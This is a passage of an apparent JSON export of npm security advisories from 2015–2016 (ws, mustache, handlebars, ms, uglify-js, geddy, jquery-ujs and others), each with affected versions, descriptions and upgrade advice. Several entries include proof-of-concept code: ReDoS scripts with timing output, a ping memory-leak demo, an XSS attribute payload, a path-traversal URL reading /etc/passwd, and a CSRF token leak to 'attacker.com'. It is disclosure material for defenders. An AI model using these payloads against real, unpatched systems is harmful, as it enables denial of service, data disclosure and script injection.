Disclosure","author":"Feross Aboukhadijeh / Mathias Buss Madsen","module_name":"bittorrent-dht","publish_date":"2016-01-04T19:52:32.207+00:00","cves":[],"vulnerable_versions":"<5.1.3","patched_versions":">=5.1.3","slug":"bittorrent-dht_remote-memory-disclosure","overview":"A security issue was found in bittorrent-dht that allows someone to send a specific series of messages to a listening peer and get it to reveal internal memory.\n\nThere are two mitigating factors here, that slightly reduce the impact of this vulnerability:\n\n1. Any modern kernel will zero out new memory pages before handing them off to a process. This means that only memory previously used and deallocated by the node process can be leaked.\n1. Node.js manages Buffers by creating a few large internal SlowBuffers, and slicing them up into smaller Buffers which are made accessible in JS. They are not stored on V8's heap, because garbage collection would interfere. The result is that only memory that has been previously allocated as a Buffer can be leaked.","recommendation":"Update to version 5.1.3 or greater","references":"- https://github.com/feross/bittorrent-dht/issues/87","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","cvss_score":6.5},{"id":67,"created_at":"2016-01-04T18:29:33.009+00:00","updated_at":"2016-04-27T22:49:35+00:00","title":"Remote Memory Disclosure","author":"Feross Aboukhadijeh / Mathias Buss","module_name":"ws","publish_date":"2016-01-04T19:34:19.734+00:00","cves":[],"vulnerable_versions":"<= 1.0.0","patched_versions":">= 1.0.1","slug":"ws_buffer-leak","overview":"UPDATE Jan 6, 2016\n\nSome additional, [important details](https://gist.github.com/c0nrad/e92005446c480707a74a) have been made available by Stuart Larsen. The client (which could in fact be the server in certain instances) is that one that allocates and sends the memory that is then echo'd by the server.\n\nA vulnerability was found in the ping functionality of the ws module which allowed clients to allocate memory by sending a ping frame. The ping functionality by default responds with a pong frame and the previously given payload of the ping frame. \n\nThis is exactly what you expect, but internally ws always transforms all data that we need to send to a Buffer instance and that is where the vulnerability existed. ws didn't do any checks for the type of data it was sending. With buffers in node when you allocate it when a number instead of a string it will allocate the amount of bytes.\n\n```\nvar x = new Buffer(100);\n// vs\nvar x = new Buffer('100');\n```\n\nThis would allocate 100 bytes of memory in the first example and just 3 bytes with 100 as value in the second example. So the client would allocate 100 bytes of non-zeroed buffer and send that to the server. \n\n\n\n## Example POC\n```\nvar ws = require('ws')\n\nvar server = new ws.Server({ port: 9000 })\nvar client = new ws('ws://localhost:9000')\n\nclient.on('open', function () {\n console.log('open')\n client.ping(50) // this sends a non-zeroed buffer of 50 bytes\n\n client.on('pong', function (data) {\n console.log('got pong')\n console.log(data) // Data from the client. \n })\n})\n```","recommendation":"Update to version 1.0.1 or greater.","references":"- https://github.com/websockets/ws/releases/tag/1.0.1","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","cvss_score":6.5},{"id":66,"created_at":"2015-12-28T18:37:19.938+00:00","updated_at":"2016-04-20T17:53:55+00:00","title":"SQL Injection due to unescaped object keys","author":"Sébastian Dejonghe","module_name":"mysql","publish_date":"2015-12-28T18:37:37.178+00:00","cves":[],"vulnerable_versions":"<=v2.0.0-alpha7","patched_versions":">=v2.0.0-alpha8","slug":"mysql_sql-injection-due-to-unescaped-object-keys","overview":"Keys of objects are not escaped with `mysql.escape()` which could lead to SQL Injection.","recommendation":"Update to the latest version of the mysql module. At least version v2.0.0-alpha8 or greater to address this issue.","references":"- https://github.com/felixge/node-mysql/issues/342","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","cvss_score":6.5},{"id":65,"created_at":"2015-12-28T17:13:59.814+00:00","updated_at":"2016-04-25T15:04:12+00:00","title":"Route level CORS config overrides connection level defaults","author":"Eran Hammer","module_name":"hapi","publish_date":"2015-12-28T17:17:36.462+00:00","cves":[],"vulnerable_versions":"<11.1.4","patched_versions":">=11.1.4","slug":"hapi_route-level-cors-config-overrides-connection-level-defaults","overview":"When server level, connection level or route level CORS configurations are combined and when a higher level config included security restrictions (like origin), a higher level config that included security restrictions (like origin) would have those restrictions overridden by less restrictive defaults (e.g. origin defaults to all origins `*`).","recommendation":"You should install hapi v11.1.4 or newer if you combine server level, connection level, or route level CORS configuration.","references":"- https://github.com/hapijs/hapi/issues/2980","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","cvss_score":6.5},{"id":64,"created_at":"2015-12-23T22:29:19.29+00:00","updated_at":"2016-04-25T15:06:34+00:00","title":"Denial of Service - Illegal access crash from if-modified-since header","author":"James Halliday","module_name":"ecstatic","publish_date":"2015-12-23T23:21:25.322+00:00","cves":[],"vulnerable_versions":"<1.4.0","patched_versions":">=1.4.0","slug":"ecstatic_illegal-access-crash-from-if-modified-since-header","overview":"Certain input strings when passed to new Date() or Date.parse() will cause v8 to raise an exception. This leads to a crash and denial of service in ecstatic when this input is passed into the server via the If-Modified-Since header.","recommendation":"Upgrade to ecstatic version 1.4.0 or greater.","references":"- https://github.com/jfhbrook/node-ecstatic/pull/179\n- https://bugs.chromium.org/p/v8/issues/detail?id=4640","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cvss_score":7.5},{"id":63,"created_at":"2015-12-23T22:04:46.097+00:00","updated_at":"2016-04-25T15:06:51+00:00","title":"Denial of service - Potential socket exhaustion","author":"Adam Baldwin","module_name":"hapi","publish_date":"2015-12-23T23:17:51.134+00:00","cves":[],"vulnerable_versions":"<11.1.3","patched_versions":">=11.1.3","slug":"hapi_denial-of-service","overview":"Certain input passed into the If-Modified-Since or Last-Modified headers will cause an 'illegal access' exception to be raised. Instead of sending a HTTP 500 error back to the sender, hapi will continue to hold the socket open until timed out (default node timeout is 2 minutes).\n\n\nSpecial thanks to [James Halliday](https://github.com/substack) for bringing this exception pattern to our attention via the [ecstatic advisory](https://nodesecurity.io/advisories/64) which lead to identifying this.","recommendation":"Upgrade to hapi v11.1.3 or greater.","references":"- https://github.com/hapijs/hapi/commit/aab2496e930dce5ee1ab28eecec94e0e45f03580\n- https://github.com/jfhbrook/node-ecstatic/pull/179","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cvss_score":7.5},{"id":62,"created_at":"2015-12-14T17:05:06.592+00:00","updated_at":"2016-04-25T15:21:06+00:00","title":"Quoteless Attributes in Templates can lead to Content Injection","author":"Matias P. Brutti","module_name":"mustache","publish_date":"2015-12-14T17:13:57.565+00:00","cves":["CVE-2015-8862"],"vulnerable_versions":"<2.2.1","patched_versions":">=2.2.1","slug":"mustache_quoteless-attributes-in-templates-can-lead-to-content-injection","overview":"Not using quotes around your attributes in mustache templates, could lead to content injection.\n\n### Example\nTemplate:\n```<a href={{foo}}/>```\n\nInput:\n```{ 'foo' : 'test.com onload=alert(1)'}```\n\nRendered result:\n```<a href=test.com onload=alert(1)/>```","recommendation":"If you are unable to upgrade to version 2.2.1 or greater you can add quotes to your attributes in your mustache templates.","references":"- https://github.com/janl/mustache.js/commit/378bcca8a5cfe4058f294a3dbb78e8755e8e0da5","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","cvss_score":5.3},{"id":61,"created_at":"2015-12-14T16:51:56.173+00:00","updated_at":"2016-04-25T15:20:33+00:00","title":"Quoteless Attributes in Templates can lead to Content Injection","author":"Matias P. Brutti","module_name":"handlebars","publish_date":"2015-12-14T16:52:07.962+00:00","cves":["CVE-2015-8861"],"vulnerable_versions":"<4.0.0","patched_versions":">=4.0.0","slug":"handlebars_quoteless-attributes-in-templates-can-lead-to-xss","overview":"Not using quotes around your attributes in handlebar templates, could lead to content injection.\n\n### Example\nTemplate:\n```<a href={{foo}}/>```\n\nInput:\n```{ 'foo' : 'test.com onload=alert(1)'}```\n\nRendered result:\n```<a href=test.com onload=alert(1)/>```","recommendation":"If you are unable to upgrade to version 4.0.0 or greater you can add quotes to your attributes in your handlebar templates.","references":"- https://blog.srcclr.com/handlebars_vulnerability_research_findings/\n- https://github.com/wycats/handlebars.js/pull/1083","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","cvss_score":5.3},{"id":60,"created_at":"2015-12-04T16:56:49.01+00:00","updated_at":"2016-04-27T21:10:09+00:00","title":"Authentication Weakness","author":"Greg Meyer","module_name":"keystone","publish_date":"2015-12-04T17:52:25.832+00:00","cves":[],"vulnerable_versions":"<0.3.16","patched_versions":">=0.3.16","slug":"keystone_authentication-weakness","overview":"Due to a bug in the the default sign in functionality, incomplete email addresses could be matched. A correct password is still required to complete sign in.","recommendation":"Users of this module should update to version 0.3.16 or greater","references":null,"legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","cvss_score":4.3},{"id":59,"created_at":"2015-11-20T18:52:47.394+00:00","updated_at":"2016-04-20T17:25:25+00:00","title":"Regular Expression Denial of Service","author":"Luigi Pinca","module_name":"milliseconds","publish_date":"2015-11-20T18:52:47.394+00:00","cves":["CVE-2015-8315"],"vulnerable_versions":"<0.1.2","patched_versions":">=0.1.2","slug":"milliseconds_regular-expression-denial-of-service","overview":"millisecond is vulnerable to regular expression denial of service (ReDoS) when extremely long version strings are parsed.\n\n\"The Regular expression Denial of Service (ReDoS) is a Denial of Service attack, that exploits the fact that most Regular Expression implementations may reach extreme situations that cause them to work very slowly (exponentially related to input size). An attacker can then cause a program using a Regular Expression to enter these extreme situations and then hang for a very long time.\"[1]\n\n## Proof of concept\n```\nvar ms = require('millisecond');\nvar genstr = function (len, chr) {\n var result = \"\";\n for (i=0; i<=len; i++) {\n result = result + chr;\n }\n\n return result;\n}\n\nms(genstr(process.argv[2], \"5\") + \" minutea\");\n```","recommendation":"Update to version 0.1.2 or greater. An alternative would be to limit the input length of the user input before passing it into millisecond to under 10k characters.","references":"- https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS\n- https://github.com/unshiftio/millisecond/pull/4\n","legacy_slug":null,"allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","cvss_score":5.3},{"id":57,"created_at":"2015-11-03T07:15:12.9+00:00","updated_at":"2016-04-25T15:19:02+00:00","title":"Symlink Arbitrary File Overwrite","author":"Tim Cuthbertson","module_name":"tar","publish_date":"2015-11-03T07:15:12.9+00:00","cves":["CVE-2015-8860"],"vulnerable_versions":"<2.0.0","patched_versions":">=2.0.0","slug":"tar_symlink-arbitrary-file-overwrite","overview":"The `tar` module earlier than version 2.0.0 allow for archives to contain symbolic links that will overwrite targets outside the expected path for extraction.","recommendation":"Update to a version 2.0.0 or greater","references":"- https://github.com/npm/npm/releases/tag/v2.7.5","legacy_slug":null,"allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","cvss_score":7.5},{"id":56,"created_at":"2015-11-03T07:12:20.676+00:00","updated_at":"2016-04-25T15:18:45+00:00","title":"Root Path Disclosure","author":"Dinis Cruz","module_name":"send","publish_date":"2015-11-03T07:12:20.676+00:00","cves":["CVE-2015-8859"],"vulnerable_versions":"<0.11.1","patched_versions":">=0.11.1","slug":"send_root-path-disclosure","overview":"The send module < 0.11.1 discloses the root path.","recommendation":"Upgrade to send version 0.11.1 or greater.","references":"- https://github.com/pillarjs/send/pull/70\n- https://github.com/expressjs/serve-static/blob/master/HISTORY.md#181--2015-01-20","legacy_slug":null,"allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","cvss_score":5.3},{"id":54,"created_at":"2015-10-26T16:58:39.517+00:00","updated_at":"2016-04-25T15:26:38+00:00","title":"Command Injection in gm.compare function","author":"Brendan Scarvell of Console","module_name":"gm","publish_date":"2015-10-26T20:12:18.99+00:00","cves":["CVE-2015-7982"],"vulnerable_versions":"<=1.20.0","patched_versions":">=1.21.1","slug":"gm_command-injection-in-gmcompare-function","overview":"gm version 1.20.0 and below are vulnerable to command injection when user input is passed into the arguments of the `gm.compare `function. The `compare()` function fails to sanitize meta characters correctly before calling the graphics magic binary.","recommendation":"Update to version 1.21.1 or greater.","references":"- https://github.com/aheckmann/gm/commit/5f5c77490aa84ed313405c88905eb4566135be31","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","cvss_score":6.5},{"id":51,"created_at":"2015-10-25T01:35:01.611+00:00","updated_at":"2016-04-20T16:06:54+00:00","title":"Regular Expression Denial of Service","author":"Adam Baldwin","module_name":"ansi2html","publish_date":"2015-10-25T01:35:01.611+00:00","cves":[],"vulnerable_versions":"<=99.999.99999","patched_versions":"<0.0.0","slug":"ansi2html_regular-expression-denial-of-service","overview":"ansi2html is vulnerable to regular expression denial of service (ReDoS) when certain types of user input is passed in.\n\n\"The Regular expression Denial of Service (ReDoS) is a Denial of Service attack, that exploits the fact that most Regular Expression implementations may reach extreme situations that cause them to work very slowly (exponentially related to input size). An attacker can then cause a program using a Regular Expression to enter these extreme situations and then hang for a very long time.\" [1]\n\n###Proof of concept\n```\nvar ansi2html = require('ansi2html')\n\nvar start = process.hrtime();\nansi2html(\"[1111111111111111111111;0000000000000000000000\");\nconsole.log(process.hrtime(start));\n\nstart = process.hrtime();\nansi2html(\"[1111111111111111111111;00000000000000000000000\");\nconsole.log(process.hrtime(start));\n\nstart = process.hrtime();\nansi2html(\"[1111111111111111111111;000000000000000000000000\");\nconsole.log(process.hrtime(start));\n\nstart = process.hrtime();\nansi2html(\"[1111111111111111111111;0000000000000000000000000000\");\nconsole.log(process.hrtime(start));\n```\n\nResults of the above\n```\n00:29:53-adam_baldwin~/tmp$ node test\n[ 0, 119615367 ]\n[ 0, 149934565 ]\n[ 0, 233325677 ]\n[ 3, 46582479 ]\n```","recommendation":"There is currently no available fix. Do not pass untrusted input into ansi2html or limit the size of the user input to limit input.","references":"- https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS","legacy_slug":null,"allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cvss_score":7.5},{"id":48,"created_at":"2015-10-24T17:58:34.232+00:00","updated_at":"2016-04-21T00:15:04+00:00","title":"Regular Expression Denial of Service","author":"Adam Baldwin","module_name":"uglify-js","publish_date":"2015-10-24T21:01:32.155+00:00","cves":["CVE-2015-8858"],"vulnerable_versions":"<2.6.0","patched_versions":">=2.6.0","slug":"uglify-js_regular-expression-denial-of-service","overview":"uglify-js is vulnerable to regular expression denial of service (ReDoS) when certain types of input is passed into .parse().\n\n\"The Regular expression Denial of Service (ReDoS) is a Denial of Service attack, that exploits the fact that most Regular Expression implementations may reach extreme situations that cause them to work very slowly (exponentially related to input size). An attacker can then cause a program using a Regular Expression to enter these extreme situations and then hang for a very long time.\" [1]\n\n### Proof of Concept\n\n```\nvar u = require('uglify-js');\nvar genstr = function (len, chr) {\n var result = \"\";\n for (i=0; i<=len; i++) {\n result = result + chr;\n }\n\n return result;\n}\n\nu.parse(\"var a = \" + genstr(process.argv[2], \"1\") + \".1ee7;\");\n```\n\n### Results\n```\n$ time node test.js 10000\nreal\t0m1.091s\nuser\t0m1.047s\nsys\t0m0.039s\n\n$ time node test.js 80000\nreal\t0m6.486s\nuser\t0m6.229s\nsys\t0m0.094s\n```","recommendation":"Update to version 2.6.0 or later","references":"- https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","cvss_score":5.3},{"id":50,"created_at":"2015-10-24T18:09:30.429+00:00","updated_at":"2016-04-25T15:27:24+00:00","title":"Insecure Comparison","author":"Joshua Dague","module_name":"secure-compare","publish_date":"2015-10-24T21:00:53.201+00:00","cves":[],"vulnerable_versions":"<=3.0.0","patched_versions":">3.0.0","slug":"secure-compare_insecure-comparison","overview":"secure-compare 3.0.0 and below do not actually compare two strings properly. \n\ncompare was actually comparing the first argument with itself, meaning the check passed for any two strings of the same length.","recommendation":"Upgrade to secure-compare 3.0.1 or greater.","references":"- https://github.com/vdemedes/secure-compare/pull/1","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","cvss_score":5.3},{"id":49,"created_at":"2015-10-24T18:05:49.315+00:00","updated_at":"2016-05-06T15:31:50+00:00","title":"Content Injection via TileJSON attribute","author":"John Firebaugh, Juan Broullón Sampedro","module_name":"mapbox.js","publish_date":"2015-10-24T21:00:40.189+00:00","cves":[],"vulnerable_versions":"<1.6.5 || < 2.1.7 > 2.0.0","patched_versions":">=1.6.5 <2.0.0 || >= 2.1.7","slug":"mapboxjs_content-injection-via-tilejson-attribute","overview":"Mapbox.js versions 1.x prior to 1.6.5 and 2.x prior to 2.1.7 are vulnerable to a cross-site-scripting attack in certain uncommon usage scenarios.\n\nIf you use L.mapbox.map or L.mapbox.tileLayer to load untrusted TileJSON content from a non-Mapbox URL, it is possible for a malicious user with control over the TileJSON content to inject script content into the \"attribution\" value of the TileJSON which will be executed in the context of the page using Mapbox.js.\n\nSuch usage is uncommon. The following usage scenarios are not vulnerable:\n\n- only trusted TileJSON content is loaded\n- TileJSON content comes only from mapbox.com URLs\n- a Mapbox map ID is supplied, rather than a TileJSON URL","recommendation":"Upgrade to Mapbox.js version 2.1.7. If you are still using a 1.x version and unable to upgrade to 2.1.7, upgrade to 1.6.5.","references":"- https://hackerone.com/reports/54327a","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N","cvss_score":4.8},{"id":47,"created_at":"2015-10-24T17:38:43.821+00:00","updated_at":"2016-04-20T16:09:35+00:00","title":"Regular Expression Denial of Service","author":"Adam Baldwin","module_name":"bleach","publish_date":"2015-10-24T20:46:42.522+00:00","cves":["CVE-2014-8881"],"vulnerable_versions":"<=99.999.99999","patched_versions":"<0.0.0","slug":"bleach_regular-expression-denial-of-service","overview":"bleach 3.0 and earlier is vulnerable to regular expression denial of service (ReDoS) when certain types of input is passed into the sanitize function.\n\n\"The Regular expression Denial of Service (ReDoS) is a Denial of Service attack, that exploits the fact that most Regular Expression implementations may reach extreme situations that cause them to work very slowly (exponentially related to input size). An attacker can then cause a program using a Regular Expression to enter these extreme situations and then hang for a very long time.\" [1]","recommendation":"There is currently no fix available.","references":"- https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","cvss_score":5.3},{"id":46,"created_at":"2015-10-24T16:06:54.122+00:00","updated_at":"2016-04-21T00:14:45+00:00","title":"Regular Expression Denial of Service","author":"Adam Baldwin","module_name":"ms","publish_date":"2015-10-24T20:39:59.852+00:00","cves":["CVE-2015-8315"],"vulnerable_versions":"<=0.7.0","patched_versions":">0.7.0","slug":"ms_regular-expression-denial-of-service","overview":"ms is vulnerable to regular expression denial of service (ReDoS) when extremely long version strings are parsed.\n\n\"The Regular expression Denial of Service (ReDoS) is a Denial of Service attack, that exploits the fact that most Regular Expression implementations may reach extreme situations that cause them to work very slowly (exponentially related to input size). An attacker can then cause a program using a Regular Expression to enter these extreme situations and then hang for a very long time.\"[1]\n\n### Proof of Concept\n```\nvar ms = require('ms');\nvar genstr = function (len, chr) {\n var result = \"\";\n for (i=0; i<=len; i++) {\n result = result + chr;\n }\n\n return result;\n}\n\nms(genstr(process.argv[2], \"5\") + \" minutea\");\n\n```\n\n### Results\nShowing increase in execution time based on the input string.\n```\n$ time node ms.js 10000\n\nreal\t0m0.758s\nuser\t0m0.724s\nsys\t0m0.031s\n\n$ time node ms.js 20000\n\nreal\t0m2.580s\nuser\t0m2.494s\nsys\t0m0.047s\n\n$ time node ms.js 30000\n\nreal\t0m5.747s\nuser\t0m5.483s\nsys\t0m0.080s\n\n$ time node ms.js 80000\n\nreal\t0m41.022s\nuser\t0m38.894s\nsys\t0m0.529s\n```\n","recommendation":"Update to version 0.7.1 or greater. An alternative would be to limit the input length of the user input before passing it into ms.","references":"- https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","cvss_score":5.3},{"id":45,"created_at":"2015-10-20T18:29:09.702+00:00","updated_at":"2016-04-25T15:35:32+00:00","title":"Incorrect handling of CORS preflight request headers","author":"Eran Hammer","module_name":"hapi","publish_date":"2015-10-20T18:29:09.702+00:00","cves":[],"vulnerable_versions":"<11.0.0","patched_versions":">=11.0.0","slug":"hapi_incorrect-handling-of-cors-preflight-request-headers","overview":"Hapi versions less than 11.0.0 implement CORS incorrectly and allowed for configurations that at best returned inconsistent headers and at worst allowed cross-origin activities that were expected to be forbidden. [1]\n\n'If the connection has CORS enabled but one route has it off, and the route is not GET, the OPTIONS prefetch request will return the default CORS headers and then the actual request will go through and return no CORS headers. This defeats the purpose of turning CORS on the route.' [2]","recommendation":"Updated to hapi version 11.0.0 or greater","references":"- [1] https://github.com/hapijs/hapi/issues/2850\n- [2] https://github.com/hapijs/hapi/issues/2840","legacy_slug":null,"allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","cvss_score":5.3},{"id":19,"created_at":"2015-10-17T19:41:46.382+00:00","updated_at":"2016-04-25T15:31:07+00:00","title":"LDAP Injection","author":"David Black, Jerome Touffe-Blin","module_name":"ldapauth","publish_date":"2015-09-18T19:30:10+00:00","cves":["CVE-2015-7294"],"vulnerable_versions":"<=2.2.4","patched_versions":"<0.0.0","slug":"ldapauth_ldap-injection","overview":"ldapauth versions <= 2.2.4 are vulnerable to ldap injection through the username parameter.","recommendation":"Consider updating to use [ldapauth-fork](https://www.npmjs.com/package/ldapauth-fork) 2.3.3 or greater as ldapauth has not yet been patched.","references":"- http://www.openwall.com/lists/oss-security/2015/09/18/4","legacy_slug":"ldapauth-ldap-injection","allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","cvss_score":5.3},{"id":5,"created_at":"2015-10-17T19:41:46.382+00:00","updated_at":"2016-04-25T15:25:16+00:00","title":"Cross-Site Scripting","author":"Onur Yilmaz","module_name":"datatables","publish_date":"2015-09-18T19:29:10+00:00","cves":["CVE-2015-6584"],"vulnerable_versions":"<=1.10.8","patched_versions":">1.10.8","slug":"datatables_cross-site-scripting","overview":"Cross-site scripting (XSS) vulnerability in the DataTables plugin 1.10.8 and earlier for jQuery allows remote attackers to inject arbitrary web script or HTML via the scripts parameter to media/unit_testing/templates/6776.php.","recommendation":"Update to a version greater than 1.10.8.","references":"- http://www.securityfocus.com/archive/1/archive/1/536437/100/0/threaded\n- https://www.netsparker.com/cve-2015-6384-xss-vulnerability-identified-in-datatables/\n- https://github.com/DataTables/DataTables/issues/602\n- https://github.com/DataTables/DataTablesSrc/commit/ccf86dc5982bd8e16d","legacy_slug":"datatables-CVE-2015-6584","allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","cvss_score":6.5},{"id":18,"created_at":"2015-10-17T19:41:46.382+00:00","updated_at":"2016-04-28T16:50:25+00:00","title":"LDAP Injection","author":"Jerome Touffe-Blin","module_name":"ldapauth-fork","publish_date":"2015-09-18T19:29:10+00:00","cves":["CVE-2015-7294"],"vulnerable_versions":"< 2.3.3","patched_versions":">= 2.3.3","slug":"ldapauth-fork_ldap-injection","overview":"ldapauth-fork is a module forked from node-ldapauth and is used for ldap authentication \nThe username parameter is not filtered as per [LDAP Escape Specifications](https://tools.ietf.org/search/rfc4515#section-3) \nA malicious user is able to change their name to certain LDAP commands and run anything that they want.","recommendation":"Updated to ldapauth-fork 2.3.3 or greater.","references":"- https://github.com/vesse/node-ldapauth-fork/issues/21\n- https://github.com/vesse/node-ldapauth-fork/commit/3feea43e243698bcaeffa904a7324f4d96df60e4","legacy_slug":"ldapauth-fork-ldap-injection","allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","cvss_score":6.5},{"id":39,"created_at":"2015-10-17T19:41:46.382+00:00","updated_at":"2016-04-28T17:22:23+00:00","title":"Incorrect Handling of Non-Boolean Comparisons During Minification","author":"Tom MacWright","module_name":"uglify-js","publish_date":"2015-08-24T19:29:10+00:00","cves":["CVE-2015-8857"],"vulnerable_versions":"<= 2.4.23","patched_versions":">= 2.4.24","slug":"uglify-js_incorrect-handling-of-non-boolean-comparisons-during-minification","overview":"[Tom MacWright](https://github.com/mishoo/UglifyJS2/issues/751) discovered that UglifyJS versions 2.4.23 and earlier are affected by a vulnerability which allows a specially crafted Javascript file to have altered functionality after minification. This bug was [demonstrated](https://zyan.scripts.mit.edu/blog/backdooring-js/) by [Yan](https://twitter.com/bcrypt) to allow potentially malicious code to be hidden within secure code, activated by minification.\n\n\n### Details:\n\nIn Boolean algebra, DeMorgan's laws describe the relationships between conjunctions ( && ), disjunctions ( || ) and negations ( ! ).\nIn Javascript form, they state that:\n !(a && b) === (!a) || (!b)\n !(a || b) === (!a) && (!b)\n\nThe law does not hold true when one of the values is not a boolean however.\n\nVulnerable versions of UglifyJS do not account for this restriction, and erroneously apply the laws to a statement if it can be reduced in length by it.\n\nConsider this authentication function:\n\n```\nfunction isTokenValid(user) {\n var timeLeft =\n !!config && // config object exists\n !!user.token && // user object has a token\n !user.token.invalidated && // token is not explicitly invalidated\n !config.uninitialized && // config is initialized\n !config.ignoreTimestamps && // don't ignore timestamps\n getTimeLeft(user.token.expiry); // > 0 if expiration is in the future\n\n // The token must not be expired\n return timeLeft > 0;\n}\n\nfunction getTimeLeft(expiry) {\n return expiry - getSystemTime();\n}\n```\nWhen minified with a vulnerable version of UglifyJS, it will produce the following insecure output, where a token will never expire:\n\n( Formatted for readability )\n\n```\nfunction isTokenValid(user) {\n var timeLeft = !( // negation\n !config // config object does not exist\n || !user.token // user object does not have a token\n || user.token.invalidated // token is explicitly invalidated\n || config.uninitialized // config isn't initialized\n || config.ignoreTimestamps // ignore timestamps\n || !getTimeLeft(user.token.expiry) // > 0 if expiration is in the future\n );\n return timeLeft > 0\n}\n\nfunction getTimeLeft(expiry) {\n return expiry - getSystemTime()\n}\n```","recommendation":"Upgrade UglifyJS to version >= 2.4.24.","references":"- https://zyan.scripts.mit.edu/blog/backdooring-js/\n- https://github.com/mishoo/UglifyJS2/issues/751","legacy_slug":"uglifyjs_incorrectly_handles_non-boolean_comparisons","allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L","cvss_score":8.3},{"id":10,"created_at":"2015-10-17T19:41:46.382+00:00","updated_at":"2016-04-20T16:14:03+00:00","title":"Directory Traversal","author":"Vikram Chaitanya","module_name":"geddy","publish_date":"2015-07-27T23:33:48+00:00","cves":["CVE-2015-5688"],"vulnerable_versions":"<13.0.8","patched_versions":">=13.0.8","slug":"geddy_directory-traversal","overview":"Geddy static file serving allows directory traversal with a URI encoded path.\n\n### Example\n```\nhttp://localhost:4000/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd\n\ngeddy is serving the output as it doesn't match the routes and it's a static file\n```","recommendation":"Update to version >= 13.0.8","references":"- https://github.com/geddy/geddy/issues/697\n- https://github.com/geddy/geddy/pull/699","legacy_slug":"geddy-directory-traversal","allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","cvss_score":5.3},{"id":15,"created_at":"2015-10-17T19:41:46.382+00:00","updated_at":"2016-04-28T17:33:51+00:00","title":"CSRF Vulnerability","author":"Ben Toews of GitHub","module_name":"jquery-ujs","publish_date":"2015-06-24T09:00:00+00:00","cves":["CVE-2015-1840"],"vulnerable_versions":"<= 1.0.3","patched_versions":">= 1.0.4","slug":"jquery-ujs_csrf-vulnerability","overview":"This description pulled from the rubyonrails-security post.\n\nReported to NodeSecurity Project by Reed Loden.\n\nCSRF Vulnerability in jquery-ujs and jquery-rails\n\nThere is an vulnerability in jquery-ujs and jquery-rails that can be used to\nbypass CSP protections and allows attackers to send CSRF tokens to attacker domains.\n\nIn the scenario where an attacker might be able to control the href attribute of an anchor tag or\nthe action attribute of a form tag that will trigger a POST action, the attacker can set the\nhref or action to \" https://attacker.com\" (note the leading space) that will be passed to JQuery,\nwho will see this as a same origin request, and send the user's CSRF token to the attacker domain.","recommendation":"Upgrade to the latest version","references":"- hackerone.com: https://hackerone.com/reports/49935\n- npm: 